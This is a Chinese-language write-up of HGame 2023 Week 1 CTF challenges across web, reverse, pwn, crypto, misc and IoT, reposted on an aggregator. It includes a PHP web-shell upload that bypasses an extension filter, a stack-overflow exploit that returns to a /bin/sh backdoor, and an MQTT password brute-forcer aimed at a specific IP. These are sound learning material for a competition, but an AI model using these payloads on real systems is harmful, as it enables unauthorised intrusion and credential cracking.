HGame 2023 Week1 部分Writeup

2023-10-14 23:30
文章标签 2023 部分 week1 writeup hgame

本文主要是介绍HGame 2023 Week1 部分Writeup,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章在第一周比赛结束后发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week1-bu-fen-ti-jie

第一周的大部分题目难度较低,不过也存在一部分难题,解这些题目的过程也是一个很好的学习机会(虽然最后还是没解出来)下面是我的题解。

Week1 比赛地址:https://hgame.vidar.club/contest/2

[WEB] Classic Childhood Game

本题是一道纯前端的WEB题,比较简单,猜测通关获得flag,查看源代码,在/Res/Events.js中发现可能是flag的代码:

function mota() {var a = ['\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35'];(function (b, e) {var f = function (g) {while (--g) {b['push'](b['shift']());}};f(++e);}(a, 0x198));var b = function (c, d) {c = c - 0x0;var e = a[c];if (b['CFrzVf'] === undefined) {(function () {var g;try {var i = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');g = i();} catch (j) {g = window;}var h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';g['atob'] || (g['atob'] = function (k) {var l = String(k)['replace'](/=+$/, '');var m = '';for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) {p = h['indexOf'](p);}return m;});}());b['fqlkGn'] = function (g) {var h = atob(g);var j = [];for (var k = 0x0, l = h['length']; k < l; k++) {j += '%' + ('00' + h['charCodeAt'](k)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};b['iBPtNo'] = {};b['CFrzVf'] = !![];}var f = b['iBPtNo'][c];if (f === undefined) {e = b['fqlkGn'](e);b['iBPtNo'][c] = e;} else {e = f;}return e;};alert(atob(b('\x30\x78\x30')));
}

控制台运行一下,获得flag

hgame{fUnnyJavascript&FunnyM0taG4me}

[WEB] Become A Member

考察HTTP基础知识,难度不高,但是不得不吐槽出题人的题意描述实在太含糊了。进入页面,提示请先提供一下身份证明(Cute-Bunny)哦,然后看到Network里面的响应头

Set-Cookie: code=guest; Path=/; Domain=localhost; Max-Age=3600; HttpOnly

下意识地以为和cookie、host、XFF或者BasicAuth有关,搞了半天结果是要改UserAgent,有些无语。
只要不要理解错,后面还是很简单的,跟着网页提示一步一步构造payload即可,对于HTTP协议理解考察还是挺多的,后面也确实和cookie、XFF之类有关,不过第一个考察UserAgent题意确实描述的不是很清晰。
最后的payload如下:

GET / HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Cute-Bunny
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: code=Vidar;
Referer: bunnybunnybunny.com
X-Forwarded-For: 127.0.0.1
Content-Length: 49{"username":"luckytoday", "password": "happy123"}

得到flag:

hgame{H0w_ArE_Y0u_T0day?}

[WEB] Guess Who I Am

本题需要连续回答对100道问题,进入网页,查看源代码,可以看到提示:

<!-- Hint: https://github.com/Potat0000/Vidar-Website/blob/master/src/scripts/config/member.js -->

访问链接,可以获得人员信息。这里如果不嫌麻烦的话,可以手动回答100题,当然也可以写脚本。
抓包发现,问题通过接口/api/getQuestion获得,提交答案通过/api/verifyAnswer提交,分数通过/api/getScore查询,因此,可以编写以下python代码:

import requestsl = [{"id": "ba1van4","intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640","url": "https://ba1van4.icu"},# ...{"id": "Eric","intro": "渗透 / 人工智能 / 北师大博士在读","url": "https://3riccc.github.io"}
]URL = "http://week-1.hgame.lwsec.cn:32174/"def getQuestion():ret = session.get(URL + "api/getQuestion")return ret.json()['message']def postAnswer(ans):ret = session.post(URL + "api/verifyAnswer", data={'id': ans})print(ret.text)def find(q):for i in l:if i['intro'] == q:return i['id']if __name__ == '__main__':session = requests.session()for i in range(100):q = getQuestion()ans = find(q)postAnswer(ans)print(session.get(URL + "api/getScore").text)

运行并获得flag

hgame{Guess_who_i_am^Happy_Crawler}

[WEB] Show Me Your Beauty

这道题考察文件上传相关知识,先随便上传一张图片,发现JSON返回内容:

{"json":"Upload Successfully! .\/img\/xxx.jpg  5s\u540e\u9875\u9762\u81ea\u52a8\u5237\u65b0"}

尝试更换后缀名,发现.php.user.ini.php7.htaccess均被禁用,正当一筹莫展的时候,突然发现,.PHP居然可以(草了),于是发送如下payload

POST /upload.php HTTP/1.1
Host: week-1.hgame.lwsec.cn:31691
Content-Length: 183
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarystm11YB7wBOq5O6v
Origin: http://week-1.hgame.lwsec.cn:31691
Referer: http://week-1.hgame.lwsec.cn:31691/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=i6fi917s5g9ojm4ftkmp6o26qd
Connection: close------WebKitFormBoundarystm11YB7wBOq5O6v
Content-Disposition: form-data; name="file"; filename="yjsenpai.PHP"
Content-Type: image/jpeg<?php system("cat /f*");
------WebKitFormBoundarystm11YB7wBOq5O6v--

访问upload/yjsenpai.PHP获取flag(此处有一个需要注意的地方,就是在访问的时候,需要携带上传时一样的PHPSESSID,否则可能会有问题)

hgame{Unsave_F1L5_SYS7em_UPL0ad!}

[REVERSE] test your IDA

由于是第一次接触逆向相关的题目,笔者也属于边学习边解题,部分内容描述可能不准确,望见谅。
这道题确实就是用来测试IDA好不好用的()
下载附件以后,拖到IDA查看源代码,

int __cdecl main(int argc, const char **argv, const char **envp)
{char Str1[24]; // [rsp+20h] [rbp-18h] BYREFsub_140001064("%10s");if ( !strcmp(Str1, "r3ver5e") )sub_140001010("your flag:hgame{te5t_y0ur_IDA}");return 0;
}

易得flag

your flag:hgame{te5t_y0ur_IDA}

[REVERSE] easyasm

下载附件,看到一段汇编代码,由于笔者不会汇编,于是只能靠猜了(

; void __cdecl enc(char *p)
.text:00401160 _enc            proc near               ; CODE XREF: _main+1B↑p
.text:00401160
.text:00401160 i               = dword ptr -4
.text:00401160 Str             = dword ptr  8
.text:00401160
.text:00401160                 push    ebp
.text:00401161                 mov     ebp, esp
.text:00401163                 push    ecx
.text:00401164                 mov     [ebp+i], 0
.text:0040116B                 jmp     short loc_401176
.text:0040116D ; ---------------------------------------------------------------------------
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: _enc+3B↓j
.text:0040116D                 mov     eax, [ebp+i]
.text:00401170                 add     eax, 1
.text:00401173                 mov     [ebp+i], eax
.text:00401176
.text:00401176 loc_401176:                             ; CODE XREF: _enc+B↑j
.text:00401176                 mov     ecx, [ebp+Str]
.text:00401179                 push    ecx             ; Str
.text:0040117A                 call    _strlen
.text:0040117F                 add     esp, 4
.text:00401182                 cmp     [ebp+i], eax
.text:00401185                 jge     short loc_40119D
.text:00401187                 mov     edx, [ebp+Str]
.text:0040118A                 add     edx, [ebp+i]
.text:0040118D                 movsx   eax, byte ptr [edx]
.text:00401190                 xor     eax, 33h
.text:00401193                 mov     ecx, [ebp+Str]
.text:00401196                 add     ecx, [ebp+i]
.text:00401199                 mov     [ecx], al
.text:0040119B                 jmp     short loc_40116D
.text:0040119D ; ---------------------------------------------------------------------------
.text:0040119D
.text:0040119D loc_40119D:                             ; CODE XREF: _enc+25↑j
.text:0040119D                 mov     esp, ebp
.text:0040119F                 pop     ebp
.text:004011A0                 retn
.text:004011A0 _enc            endp
Input: your flag
Encrypted result: 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

密文是

0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

猜测关键加密语句是

.text:00401190                 xor     eax, 33h

运气很好,猜对了(
于是编写如下python代码:

if __name__ == '__main__':ori = '0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e'r = ori.split(',')for i in r:print(chr(int(i, 16) ^ 0x33), end="")

得到flag

hgame{welc0me_t0_re_wor1d!}

[REVERSE] easyenc

反汇编得到代码,这里,我删去了一些无关变量,自己做了一些注释,方便理解程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>typedef char _BYTE;int main() {__int64 v3; // rbx__int64 v4; // raxchar v5; // alchar *v6; // rcxint v8[10]; // [rsp+20h] [rbp-19h]__int128 v10[3]; // [rsp+50h] [rbp+17h] BYREFv8[0] = 167640836;v8[1] = 11596545;v8[2] = -1376779008;v8[3] = 85394951;v8[4] = 402462699;v8[5] = 32375274;v8[6] = -100290070;v8[7] = -1407778552;v8[8] = -34995732;v8[9] = 101123568;v3 = 0;v4 = -1;memset(v10, 0, sizeof(v10));scanf("%50s", (const char *)v10);do++v4;while ( *((_BYTE *)v10 + v4) );// v4 = v10长度,v10可以看作一个字符串,每一个字符代表一个值if ( v4 == 41 ) {while ( 1 ) {v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86; // (_BYTE *)v10 + v3 表示v10[v3]的值*((_BYTE *)v10 + v3) = v5;if ( *((_BYTE *)v8 + v3) != v5 )break;if ( ++v3 >= 41 ) {v6 = "you are right!";goto LABEL_8;}}v6 = "wrong!";
LABEL_8:printf(v6);}return 0;
}

可知密文大约是长度为41字符的,关键的加密代码其实只有这一句:

v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86; 

由于异或可逆,根据程序,反推出解密代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>typedef char _BYTE;int main() {int v8[10]; // [rsp+20h] [rbp-19h]v8[0] = 167640836;v8[1] = 11596545;v8[2] = -1376779008;v8[3] = 85394951;v8[4] = 402462699;v8[5] = 32375274;v8[6] = -100290070;v8[7] = -1407778552;v8[8] = -34995732;v8[9] = 101123568;for (int i = 0; i < 41; i++) {printf("%c", (*((_BYTE *)v8 + i) + 86) ^ 0x32);}return 0;
}

运行获得flag:

hgame{4ddit1on_is_a_rever5ible_0perationL

这里最后一个字符出现了一些小问题,根据测试,最后的flag为:

hgame{4ddit1on_is_a_rever5ible_0peration}

[REVERSE] a_cup_of_tea

本题反汇编后,处理完毕的代码大致如下:

#include <stdio.h>
#include <string.h>
#include <emmintrin.h>__int64 __fastcall sub_1400010B4(unsigned int *a1, int *a2) {int v2; // ebxint v3; // r11dint v4; // ediint v5; // esiint v6; // ebpunsigned int v7; // r9d__int64 v8; // rdxunsigned int v9; // r10d__int64 result; // raxv2 = *a2;v3 = 0;v4 = a2[1];v5 = a2[2];v6 = a2[3];v7 = *a1;v8 = 32;v9 = a1[1];do {v3 -= 1412567261;v7 += (v3 + v9) ^ (v2 + 16 * v9) ^ (v4 + (v9 >> 5));result = v3 + v7;v9 += result ^ (v5 + 16 * v7) ^ (v6 + (v7 >> 5));--v8;} while ( v8 );*a1 = v7;a1[1] = v9;return result;
}int __cdecl main() {int v3; // eaxchar *v4; // rcxunsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901}; // 0x45678901, 0x34567890, 0x23456789, 0x12345678int Buf2[8]; // [rsp+30h] [rbp-9h] BYREF__int16 v8; // [rsp+50h] [rbp+17h]__int128 Buf1; // [rsp+58h] [rbp+1Fh] BYREF__int128 v10[2]; // [rsp+68h] [rbp+2Fh] BYREF__int16 v11; // [rsp+88h] [rbp+4Fh]Buf2[0] = 778273437;Buf1 = 0;memset(v10, 0, sizeof(v10));v11 = 0;Buf2[1] = -1051836401;// si128 = _mm_load_si128((const __m128i *) &xmmword_1400022B0);Buf2[2] = -1690714183;Buf2[3] = 1512016660;Buf2[4] = 1636330974;Buf2[5] = 1701168847;Buf2[6] = -1626976412;Buf2[7] = 594166774;v8 = 32107;printf("nice tea!\n> ");scanf("%50s", (const char *)&Buf1);sub_1400010B4((unsigned int *)&Buf1, si128);sub_1400010B4((unsigned int *)&Buf1 + 2, si128);sub_1400010B4((unsigned int *)v10, si128);sub_1400010B4((unsigned int *)v10 + 2, si128);v3 = memcmp(&Buf1, Buf2, 0x22u);v4 = "wrong...";if ( !v3 )v4 = "Congratulations!";printf(v4);return 0;
}

值得注意的是,

si128 = _mm_load_si128((const __m128i *) &xmmword_1400022B0);

这句语句在加载数据时,方向是从后向前加载的,这是一个大坑,例如,在本题中,xmmword_1400022B0的数据为:

45678901345678902345678912345678h

那么,他被转换为数组时,应当时如下顺序存储的(这个卡了很久):

unsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901};

除了这个之外,本题目的加密算法其实也是有原型的,即TEA加密算法,本来对这道题的解密算法十分头疼,但是十分感谢组内同学提醒(果然经验很重要啊),参考了TEA算法的解密代码 (注意,这个和正宗TEA加密还是有一丁点区别的),最后写出如下解密代码:

#include <stdio.h>
#include <string.h>
#include <emmintrin.h>
#include <stdint.h>void decrypt(unsigned int *v, unsigned int *k) {unsigned int v0 = v[0], // v7v1 = v[1]; // v9int delta = -1412567261;  // deltaint sum = 2042487904; // v3unsigned int k0 = k[0], // v2k1 = k[1], // v4k2 = k[2], // v5k3 = k[3]; // v6for (int i = 0; i < 32; i++) {v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0;v[1] = v1;
}int __cdecl main() {int Buf2[8];unsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901}; // 0x45678901, 0x34567890, 0x23456789, 0x12345678Buf2[0] = 778273437;Buf2[1] = -1051836401;Buf2[2] = -1690714183;Buf2[3] = 1512016660;Buf2[4] = 1636330974;Buf2[5] = 1701168847;Buf2[6] = -1626976412;Buf2[7] = 594166774;char buf[50] = {0};memcpy(buf, Buf2, sizeof Buf2);decrypt((unsigned int *)&buf, si128);decrypt((unsigned int *)&buf + 2, si128);decrypt((unsigned int *)&buf + 4, si128);decrypt((unsigned int *)&buf + 6, si128);printf("%s", buf);return 0;
}

值得注意的是,decrypt函数的sum需要在C语言环境下计算得出,因为它在计算过程中有发生溢出。最后计算出的flag为:

hgame{Tea_15_4_v3ry_h3a1thy_drln

emmm,好像末尾又少了一些什么,不过笔者忘了最后是啥了,这就留给各位读者自行尝试吧~

[REVERSE] encode

这道题需要用32位IDA反编译,代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4[100]; // [esp+0h] [ebp-1CCh] BYREFchar v5[52]; // [esp+190h] [ebp-3Ch] BYREFint j; // [esp+1C4h] [ebp-8h]int i; // [esp+1C8h] [ebp-4h]memset(v5, 0, 0x32u);memset(v4, 0, sizeof(v4));sub_4011A0(a50s, (char)v5);for ( i = 0; i < 50; ++i ){v4[2 * i] = v5[i] & 0xF;v4[2 * i + 1] = (v5[i] >> 4) & 0xF;}for ( j = 0; j < 100; ++j ){if ( v4[j] != dword_403000[j] ){sub_401160(Format, v4[0]);return 0;}}sub_401160(aYesYouAreRight, v4[0]);return 0;
}

这里有一个dword_403000全局数组,需要导出,SHIFT+E->initialized C variable即可。本题核心加密代码为:

v4[2 * i] = v5[i] & 0xF;
v4[2 * i + 1] = (v5[i] >> 4) & 0xF;

编写解密代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>int dword_403000[100] = {8, 6, 7, 6, 1, 6, 13, 6, 5, 6, 11, 7, 5, 6, 14, 6, 3, 6, 15, 6, 4, 6, 5, 6, 15, 5, 9, 6, 3, 7, 15, 5, 5, 6, 1, 6, 3, 7, 9, 7, 15, 5, 6, 6, 15, 6, 2, 7, 15, 5, 1, 6, 15, 5, 2, 7, 5, 6, 6, 7, 5, 6, 2, 7, 3, 7, 5, 6, 15, 5, 5, 6, 14, 6, 7, 6, 9, 6, 14, 6, 5, 6, 5, 6, 2, 7, 13, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};int main() {int v4[100]; // [esp+0h] [ebp-1CCh] BYREFchar v5[52]; // [esp+190h] [ebp-3Ch] BYREFint j; // [esp+1C4h] [ebp-8h]memset(v5, 0, 0x32u);memset(v4, 0, sizeof(v4));for ( j = 0; j < 50; ++j ) {printf("%c", dword_403000[2 * j] + dword_403000[2 * j + 1] * 16);}return 0;
}

得到flag

hgame{encode_is_easy_for_a_reverse_engineer}

[PWN] test_nc

由标题可知,他就是一道测试nc的题目,连接到服务器,输入cat /flag即可获得flag:

hgame{37b459d8acaf8f1c622589e1471664ca30121dbe}

[PWN] easy_overflow

本题参考文章:https://blog.csdn.net/ChaoYue_miku/article/details/118405375

IDA反编译后,代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[16]; // [rsp+0h] [rbp-10h] BYREFclose(1);read(0, buf, 0x100uLL);return 0;
}

同时,在地址0x0000000000401176处发现后门函数:

int b4ckd0or()
{return system("/bin/sh");
}

根据参考文章可知,该题的突破口在buf变量,需要将buf的r部分指向后门函数,因此构造如下poc

from pwn import *if __name__ == '__main__':r = remote("week-1.hgame.lwsec.cn", 32586)payload = b'A' * 0x10 + b'a' * 0x8 + bytes(p64(0x00401176))r.send(payload)r.interactive()# cat /flag 1>&2

执行cat时发现stdout被关掉了,没关系,只需要转到stderr就行了,运行程序后,输入cat /flag 1>&2,得到flag

hgame{dc8d25d3c48e6e0e258ad1183c5c131569c9a567}

[CRYPTO] 兔兔的车票

下载附件分析后可知,本题为是一道图片异或加密题,也就是将图片的每个像素点对应的颜色进行异或加密存储,题目源代码如下(有部分修改):

from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits# flagImg = Image.open('flag.png')
width = 379
height = 234def makeSourceImg():colors = long_to_bytes(getrandbits(width * height * 24))[::-1]img = Image.new('RGB', (width, height))x = 0for i in range(height):for j in range(width):img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))x += 3return imgdef xorImg(keyImg, sourceImg):img = Image.new('RGB', (width, height))for i in range(height):for j in range(width):p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))return img# source文件夹下面的图片生成过程:
def makeImg():colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))shuffle(colors)print(colors[0:width * height])colors = bytes(colors)img = Image.new('RGB', (width, height))x = 0for i in range(height):for j in range(width):img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))x += 3return imgmakeImg()# for i in range(15):
#     im = makeImg()
#     im.save(f"./source/picture{i}.png")n1 = makeSourceImg()
n2 = makeSourceImg()
n3 = makeSourceImg()
nonce = [n1, n2, n3]index = list(range(16))
shuffle(index)
e = 0"""
这里flag.png已经提前被保存在source文件夹下了,文件名也是picture{xx}.png
"""for i in index:im = Image.open(f"source/picture{i}.png")key = nonce[randint(0, 2)]encImg = xorImg(key, im)encImg.save(f'pics/enc{e}.png')e += 1if __name__ == '__main__':pass

乍一看,这道题的加密数据是随机的,似乎是无解的,但是分析生成随机图片的函数可知:

# source文件夹下面的图片生成过程:
def makeImg():colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))shuffle(colors)print(colors[0:width * height])colors = bytes(colors)img = Image.new('RGB', (width, height))x = 0for i in range(height):for j in range(width):img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))x += 3return img

在生成图片的过程中,有weight * height个像素颜色是0,我们又知道,异或加密是可逆加密,一旦知道了原文,便可以和密文进行异或,推出密钥,于是,可以将每张加密过的图片的像素数据都异或48(也就是字符0),得到一个部分正确的密钥,虽然正确的部分不多,但是只要能够看清flag即可。下面是解密代码:

from PIL import Imagewidth = 379
height = 234def xorImg(keyImg, sourceImg):img = Image.new('RGB', (width, height))for i in range(height):for j in range(width):p1 = keyImg[i][j]p2 = sourceImg.getpixel((j, i))img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))return imgnonce = []def getWhiteKeys(index):im = Image.open(f"pics/enc{index}.png")res = []for i in range(height):row = []for j in range(width):p1 = im.getpixel((j, i))row.append([(p1[k] ^ 48) for k in range(3)])res.append(row)return resindex = list(range(16))
e = 0for i in index:nonce.append(getWhiteKeys(i))for i in index:im = Image.open(f"pics/enc{i}.png")key_index = 0for key in nonce:key_index += 1print(len(key))encImg = xorImg(key, im)encImg.save(f'source/pic{e}_{key_index}.png')print(f'source/pic{e}_{key_index}.png')e += 1if __name__ == '__main__':pass

运行后,可以在source文件夹中看到若干图片,其中就有部分可以清晰看见车票:
20030e05604f209f82cf1a65d2a92161
得到flag:

hgame{Oh_my_Ticket}

RSA

本题可以使用RsaCtfTool解答:

python RsaCtfTool.py -n 135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789 -e 65537  --uncipher 110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582

解出的flag为

hgame{factordb.com_is_strong!}

[CRYPTO] Be Stream

源代码如下:

flag = b'123456'key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]def stream(i):if i == 0:return key[0]elif i == 1:return key[1]else:return (stream(i - 2) * 7 + stream(i - 1) * 4)enc = b""
for i in range(len(flag)):water = stream((i // 2) ** 6) % 256enc += bytes([water ^ flag[i]])print(enc)
# b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'if __name__ == '__main__':pass

看题目其实不难发现,重点需要计算的是这个water变量的值,如果直接算的话,会递归非常多次,而且数字很大,一定会堆栈溢出的,因此,这里需要优化(解法可能不唯一)。首先,将所有的大数字都MOD 256,然后会发现,其实函数stream的参数只有0-255,那么,记忆化搜索便是一个很好的优化方法。最后优化过的解密代码如下:

data = bytes(b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY')key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]stream_num = {}def stream(i):if stream_num.get(i) is not None:return stream_num[i]if i == 0:return key[0] % 256elif i == 1:return key[1] % 256else:final = stream(i - 2) * 7 % 256 + stream(i - 1) * 4 % 256if not stream_num.get(i):stream_num[i] = finalreturn finalori = b""for i in range(len(data)):water = stream((i // 2) ** 6 % 256) % 256ori += bytes([water ^ data[i]])print(ori)print(ori)
# b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'if __name__ == '__main__':pass

运行即可获得flag

hgame{1f_this_ch@l|eng3_take_y0u_to0_long_time?}

[MISC] Sign In

原文:

aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==

一眼BASE64,解码后得到:

hgame{Welcome_To_HGAME2023!}

[MISC] Where am I

分析流量可知,用户向/upload接口发送HTTP流量,上传压缩包,将上传的数据dump下来,发现是一个名为fake.rar的压缩包。直接打开提示压缩包头已损坏,使用winrar修复后可打开,打开后解压(压缩包密码为空),得到一张图片,查询图片的EXIF,即可知道经纬度:
e41fb008ff1871911b185357304d0949
最后的flag为:

hgame{116_24_1488_E_39_54_5418_N}

[MISC] 神秘的海报

下载海报,CRC校验通过,说明该图片有可能是被隐写过的。使用python工具tsteg(这个工具是在菜狗杯解WEB题时发现的,还挺好用)解析一下图片,发现是LSB隐写,隐写内容如下:

strings	:Sure enough, you still remember what we talked about
at that time! This is part of the secret: 
`hgame{U_Kn0w_LSB&W`
strings	:I put the rest of the content here, 
https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEq
Bxm7RUk-G/view?usp=sharing, if you directly access the 
google drive cloud disk download in China, it will be 
very slow,you can try to use Scientific Internet access 
solves the problem of slow or inaccessible access to 
external networkresources. This is my favorite music, 
there is another part of the secret in the music, I use 
Steghide to encrypt, the password is also the 6-digit 
password we agreed at the time,even if someone else finds 
out here, it should not be so easy to crack (( hope so

得到前半部分的flag:

hgame{U_Kn0w_LSB&W

后一部分需要在该链接:https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing
下载音频后,通过Steghide解密即可获得后半部分flag。
根据提示,密码是6位数字,笔者运气很好,一下子就试对了(
密码是123456,输入

steghide info /home/kali/Desktop/Bossanova.wav -p 123456 

查看到里面包含了一个flag2.txt,解压出来:

steghide extract  -p 123456 -sf /home/kali/Desktop/Bossanova.wav

得到另一半flag

av^Mp3_Stego}

最终得到的flag

hgame{U_Kn0w_LSB&Wav^Mp3_Stego}

[MISC] e99p1ant_want_girlfriend

下载附件,发现图片的CRC校验有误,可推测图片的实际宽高与当前宽高不符(详情见:https://www.cnblogs.com/WangAoBo/p/7108278.html)
因此,可以使用脚本推算真实高度,脚本如下:

import struct
import zlibdef hexStr2bytes(s):b = b""for i in range(0, len(s), 2):temp = s[i:i + 2]b += struct.pack("B", int(temp, 16))return bstr1 = "49484452"
str2 = "0806000000"
bytes1 = hexStr2bytes(str1)
bytes2 = hexStr2bytes(str2)
wid, hei = 512, 680crc32 = "0xa8586b45"for w in range(wid, wid + 2000):for h in range(hei, hei + 2000):width = hex(w)[2:].rjust(8, '0')height = hex(h)[2:].rjust(8, '0')bytes_temp = hexStr2bytes(width + height)if eval(hex(zlib.crc32(bytes1 + bytes_temp + bytes2))) == eval(crc32):print(hex(w), hex(h))print(w, h)if __name__ == '__main__':pass

计算出,宽高应为512 x 706,打开图片后,可在图片底部发现flag

hgame{e99p1ant_want_a_girlfriend_qq_524306184}

[IoT] Help the uncle who can’t jump twice

显然,是一道MQTT的签到题,根据附件给的字典和提示,可知用户名是Vergil ,密码可编写以下代码进行爆破:

import randomfrom paho.mqtt import client as mqtt_clientdef connect_mqtt(username, password):broker = '117.50.177.240'port = 1883client_id = f'python-mqtt-{random.randint(0, 1000)}'def on_connect(client, userdata, flags, rc):if rc == 0:print(username, password)print("Connected to MQTT Broker!")else:passclient = mqtt_client.Client(client_id)client.username_pw_set(username, password)client.on_connect = on_connectclient.connect(broker, port)return clientif __name__ == '__main__':f = open("dic.txt", "r")ff = f.read().split("\n")for password in ff:c = connect_mqtt("Vergil", password)c.loop_start()

爆破得到密码:power
登录以后,添加一个Nero/YAMATO的订阅,很快就能接收到flag

hgame{mqtt_1s_p0w3r}

这篇关于HGame 2023 Week1 部分Writeup的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/213877

相关文章

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

笔记整理—内核!启动!—kernel部分(2)从汇编阶段到start_kernel

kernel起始与ENTRY(stext),和uboot一样,都是从汇编阶段开始的,因为对于kernel而言,还没进行栈的维护,所以无法使用c语言。_HEAD定义了后面代码属于段名为.head .text的段。         内核起始部分代码被解压代码调用,前面关于uboot的文章中有提到过(eg:zImage)。uboot启动是无条件的,只要代码的位置对,上电就工作,kern

HNU-2023电路与电子学-实验3

